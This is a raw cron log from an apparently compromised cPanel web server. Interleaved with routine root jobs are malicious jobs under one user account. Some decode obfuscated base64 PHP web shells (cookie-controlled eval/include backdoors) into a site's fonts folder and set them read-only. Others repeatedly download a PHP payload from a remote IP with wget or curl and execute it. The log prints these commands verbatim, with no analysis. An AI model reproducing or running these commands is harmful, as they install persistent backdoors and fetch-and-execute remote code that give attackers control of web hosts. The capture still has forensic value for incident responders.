Sep  9 15:15:01 ip-184-168-122-23 CROND[5599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:16:01 ip-184-168-122-23 CROND[5686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:16:01 ip-184-168-122-23 CROND[5687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:16:01 ip-184-168-122-23 CROND[5690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:16:01 ip-184-168-122-23 CROND[5691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:16:01 ip-184-168-122-23 CROND[5693]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 15:16:01 ip-184-168-122-23 CROND[5692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:17:01 ip-184-168-122-23 CROND[5810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:17:01 ip-184-168-122-23 CROND[5812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:17:01 ip-184-168-122-23 CROND[5811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:17:01 ip-184-168-122-23 CROND[5814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:18:01 ip-184-168-122-23 CROND[5899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:18:01 ip-184-168-122-23 CROND[5900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:18:01 ip-184-168-122-23 CROND[5902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:18:01 ip-184-168-122-23 CROND[5906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:18:01 ip-184-168-122-23 CROND[5907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:19:01 ip-184-168-122-23 CROND[6001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:19:01 ip-184-168-122-23 CROND[6003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:19:01 ip-184-168-122-23 CROND[6005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:19:01 ip-184-168-122-23 CROND[6007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:20:01 ip-184-168-122-23 CROND[6102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:20:01 ip-184-168-122-23 CROND[6107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:20:01 ip-184-168-122-23 CROND[6108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:20:01 ip-184-168-122-23 CROND[6109]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:20:01 ip-184-168-122-23 CROND[6111]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:20:01 ip-184-168-122-23 CROND[6115]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 15:20:01 ip-184-168-122-23 CROND[6117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:20:01 ip-184-168-122-23 CROND[6119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:20:01 ip-184-168-122-23 CROND[6120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:21:01 ip-184-168-122-23 CROND[6226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:21:01 ip-184-168-122-23 CROND[6227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:21:01 ip-184-168-122-23 CROND[6228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:21:01 ip-184-168-122-23 CROND[6229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:22:01 ip-184-168-122-23 CROND[6405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:22:01 ip-184-168-122-23 CROND[6407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:22:01 ip-184-168-122-23 CROND[6409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:22:01 ip-184-168-122-23 CROND[6410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:22:01 ip-184-168-122-23 CROND[6408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:23:01 ip-184-168-122-23 CROND[6501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:23:01 ip-184-168-122-23 CROND[6504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:23:01 ip-184-168-122-23 CROND[6503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:23:01 ip-184-168-122-23 CROND[6505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:24:01 ip-184-168-122-23 CROND[6587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:24:01 ip-184-168-122-23 CROND[6590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:24:01 ip-184-168-122-23 CROND[6591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:24:01 ip-184-168-122-23 CROND[6592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:24:01 ip-184-168-122-23 CROND[6594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:25:01 ip-184-168-122-23 CROND[6701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:25:01 ip-184-168-122-23 CROND[6703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:25:01 ip-184-168-122-23 CROND[6706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:25:01 ip-184-168-122-23 CROND[6707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:25:01 ip-184-168-122-23 CROND[6705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:25:01 ip-184-168-122-23 CROND[6709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:26:02 ip-184-168-122-23 CROND[6818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:26:02 ip-184-168-122-23 CROND[6819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:26:02 ip-184-168-122-23 CROND[6821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:26:02 ip-184-168-122-23 CROND[6825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:26:02 ip-184-168-122-23 CROND[6828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:27:01 ip-184-168-122-23 CROND[6937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:27:01 ip-184-168-122-23 CROND[6939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:27:01 ip-184-168-122-23 CROND[6941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:27:01 ip-184-168-122-23 CROND[6943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:28:01 ip-184-168-122-23 CROND[7050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
